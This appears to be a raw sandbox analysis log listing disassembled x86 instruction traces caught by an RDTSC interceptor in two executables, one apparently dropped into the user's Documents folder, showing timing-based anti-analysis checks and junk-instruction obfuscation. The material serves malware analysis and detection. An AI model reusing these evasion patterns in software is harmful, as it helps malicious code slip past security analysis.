Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F705B0 second address: 4F7062C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF40CBDB938h 0x00000012 sub ecx, 7F3CE818h 0x00000018 jmp 00007FF40CBDB92Bh 0x0000001d popfd 0x0000001e popad 0x0000001f inc edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FF40CBDB92Bh 0x00000029 add ch, FFFFFFDEh 0x0000002c jmp 00007FF40CBDB939h 0x00000031 popfd 0x00000032 mov ebx, esi 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7062C second address: 4F70658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FF40C70B05Ah 0x00000014 jmp 00007FF40C70B062h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70658 second address: 4F7062C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FF40CBDB886h 0x0000000f mov al, byte ptr [edx] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF40CBDB938h 0x00000018 sub ecx, 7F3CE818h 0x0000001e jmp 00007FF40CBDB92Bh 0x00000023 popfd 0x00000024 popad 0x00000025 inc edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FF40CBDB92Bh 0x0000002f add ch, FFFFFFDEh 0x00000032 jmp 00007FF40CBDB939h 0x00000037 popfd 0x00000038 mov ebx, esi 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707BC second address: 4F707C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707C0 second address: 4F707C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707C6 second address: 4F707CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707CC second address: 4F707DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707DD second address: 4F707E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707E1 second address: 4F707FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707FE second address: 4F70849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF40C70B05Ch 0x00000011 or al, 00000058h 0x00000014 jmp 00007FF40C70B05Bh 0x00000019 popfd 0x0000001a mov dl, ah 0x0000001c popad 0x0000001d test al, al 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007FF40C70B05Ch 0x00000027 pop esi 0x00000028 mov ch, bl 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70849 second address: 4F7084F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7084F second address: 4F70853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70853 second address: 4F708F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FF47D1D3B4Ah 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 pushfd 0x00000013 jmp 00007FF40CBDB92Ah 0x00000018 add esi, 25060E18h 0x0000001e jmp 00007FF40CBDB92Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ecx, edx 0x00000027 jmp 00007FF40CBDB936h 0x0000002c shr ecx, 02h 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FF40CBDB92Dh 0x00000036 and ax, 7266h 0x0000003b jmp 00007FF40CBDB931h 0x00000040 popfd 0x00000041 popad 0x00000042 rep movsd 0x00000044 rep movsd 0x00000046 rep movsd 0x00000048 rep movsd 0x0000004a rep movsd 0x0000004c jmp 00007FF40CBDB92Eh 0x00000051 mov ecx, edx 0x00000053 jmp 00007FF40CBDB930h 0x00000058 and ecx, 03h 0x0000005b pushad 0x0000005c mov al, 8Dh 0x0000005e push eax 0x0000005f push edx 0x00000060 mov esi, ebx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708F1 second address: 4F7092A instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 4E628468h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a rep movsb 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF40C70B068h 0x00000015 adc ah, FFFFFFC8h 0x00000018 jmp 00007FF40C70B05Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7092A second address: 4F7092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7092F second address: 4F7096F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, 0B4Bh 0x00000018 pushfd 0x00000019 jmp 00007FF40C70B060h 0x0000001e jmp 00007FF40C70B065h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7096F second address: 4F709A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF40CBDB938h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709A2 second address: 4F709A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709A6 second address: 4F709AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709AC second address: 4F709DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF40C70B067h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709DA second address: 4F709DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709DF second address: 4F709F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709F5 second address: 4F709F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709F9 second address: 4F709FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709FD second address: 4F70A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A03 second address: 4F70A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A08 second address: 4F70A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF40CBDB92Ch 0x0000000a jmp 00007FF40CBDB935h 0x0000000f popfd 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bx, 154Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A3C second address: 4F70A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A41 second address: 4F70A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A4E second address: 4F70A60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A60 second address: 4F70B0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF40CBDB931h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF40CBDB931h 0x0000000f sbb al, FFFFFFE6h 0x00000012 jmp 00007FF40CBDB931h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop esi 0x0000001c pushad 0x0000001d call 00007FF40CBDB92Ch 0x00000022 pushfd 0x00000023 jmp 00007FF40CBDB932h 0x00000028 and ecx, 308479B8h 0x0000002e jmp 00007FF40CBDB92Bh 0x00000033 popfd 0x00000034 pop ecx 0x00000035 pushfd 0x00000036 jmp 00007FF40CBDB939h 0x0000003b adc esi, 038EE456h 0x00000041 jmp 00007FF40CBDB931h 0x00000046 popfd 0x00000047 popad 0x00000048 pop ebx 0x00000049 pushad 0x0000004a mov si, DB63h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B0E second address: 4F704FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a leave 0x0000000b jmp 00007FF40C70B05Eh 0x00000010 retn 0008h 0x00000013 cmp dword ptr [ebp-2Ch], 10h 0x00000017 mov eax, dword ptr [ebp-40h] 0x0000001a jnc 00007FF40C70B055h 0x0000001c push eax 0x0000001d lea edx, dword ptr [ebp-00000590h] 0x00000023 push edx 0x00000024 call esi 0x00000026 push 00000008h 0x00000028 jmp 00007FF40C70B060h 0x0000002d push 38036323h 0x00000032 jmp 00007FF40C70B061h 0x00000037 xor dword ptr [esp], 4D5D7F0Bh 0x0000003e jmp 00007FF40C70B05Eh 0x00000043 call 00007FF47CD0EB7Ch 0x00000048 push 755727D0h 0x0000004d push dword ptr fs:[00000000h] 0x00000054 mov eax, dword ptr [esp+10h] 0x00000058 mov dword ptr [esp+10h], ebp 0x0000005c lea ebp, dword ptr [esp+10h] 0x00000060 sub esp, eax 0x00000062 push ebx 0x00000063 push esi 0x00000064 push edi 0x00000065 mov eax, dword ptr [75600140h] 0x0000006a xor dword ptr [ebp-04h], eax 0x0000006d xor eax, ebp 0x0000006f push eax 0x00000070 mov dword ptr [ebp-18h], esp 0x00000073 push dword ptr [ebp-08h] 0x00000076 mov eax, dword ptr [ebp-04h] 0x00000079 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000080 mov dword ptr [ebp-08h], eax 0x00000083 lea eax, dword ptr [ebp-10h] 0x00000086 mov dword ptr fs:[00000000h], eax 0x0000008c ret 0x0000008d jmp 00007FF40C70B060h 0x00000092 and dword ptr [ebp-04h], 00000000h 0x00000096 push eax 0x00000097 push edx 0x00000098 jmp 00007FF40C70B067h 0x0000009d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70C4E second address: 4F70C5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70C5D second address: 4F70CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF40C70B063h 0x00000013 jmp 00007FF40C70B063h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007FF40C70B068h 0x0000001f sub si, 3AF8h 0x00000024 jmp 00007FF40C70B05Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: E5F305 second address: E5F30F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8D81 second address: FE8D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8D85 second address: FE8D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8D89 second address: FE8D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8D92 second address: FE8DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40CBDB92Dh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8DA4 second address: FE8DB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF40C70B05Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7CD1 second address: FE7CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7CD7 second address: FE7CE8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7CE8 second address: FE7D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF40CBDB92Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7D01 second address: FE7D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7D05 second address: FE7D28 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF40CBDB937h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7D28 second address: FE7D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE7E8B second address: FE7E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE800C second address: FE8011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE8011 second address: FE805F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF40CBDB934h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FF40CBDB938h 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FF40CBDB926h 0x0000001f jmp 00007FF40CBDB92Dh 0x00000024 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FE805F second address: FE808F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF40C70B05Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FF40C70B056h 0x00000014 jmp 00007FF40C70B064h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA681 second address: FEA685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA6F2 second address: FEA6F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA6F7 second address: FEA717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dl, 06h 0x0000000a push 00000000h 0x0000000c and ch, FFFFFFFDh 0x0000000f push E97CAC80h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF40CBDB92Ah 0x0000001b rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA717 second address: FEA78E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF40C70B05Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 16835400h 0x00000012 mov edi, 082A5C7Fh 0x00000017 push 00000003h 0x00000019 mov edx, dword ptr [ebp+122D3597h] 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FF40C70B058h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b and ecx, dword ptr [ebp+122D1C4Fh] 0x00000041 push 00000003h 0x00000043 jmp 00007FF40C70B064h 0x00000048 call 00007FF40C70B059h 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jnl 00007FF40C70B056h 0x00000056 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA78E second address: FEA792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA792 second address: FEA79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA79C second address: FEA7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7A0 second address: FEA7A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7A4 second address: FEA7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7B2 second address: FEA7D0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF40C70B058h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FF40C70B05Ch 0x00000018 jno 00007FF40C70B056h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7D0 second address: FEA7D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7D5 second address: FEA7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7E5 second address: FEA7FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FF40CBDB926h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA7FA second address: FEA800 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA90B second address: FEA915 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA915 second address: FEA954 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF40C70B05Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007FF40C70B064h 0x00000010 and dl, FFFFFFFBh 0x00000013 pop esi 0x00000014 push 00000000h 0x00000016 adc dx, EF36h 0x0000001b push B74AE675h 0x00000020 push eax 0x00000021 push edx 0x00000022 jc 00007FF40C70B05Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA954 second address: FEA958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA958 second address: FEA95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA95E second address: FEA962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA962 second address: FEA9F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 48B51A0Bh 0x0000000f mov dword ptr [ebp+122D3661h], eax 0x00000015 push 00000003h 0x00000017 jp 00007FF40C70B05Ch 0x0000001d mov edi, dword ptr [ebp+122D2951h] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FF40C70B058h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov si, ax 0x00000042 jmp 00007FF40C70B066h 0x00000047 jmp 00007FF40C70B05Bh 0x0000004c push 00000003h 0x0000004e add si, 47D1h 0x00000053 jmp 00007FF40C70B05Ch 0x00000058 push 72DC89A8h 0x0000005d jp 00007FF40C70B064h 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA9F0 second address: FEA9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
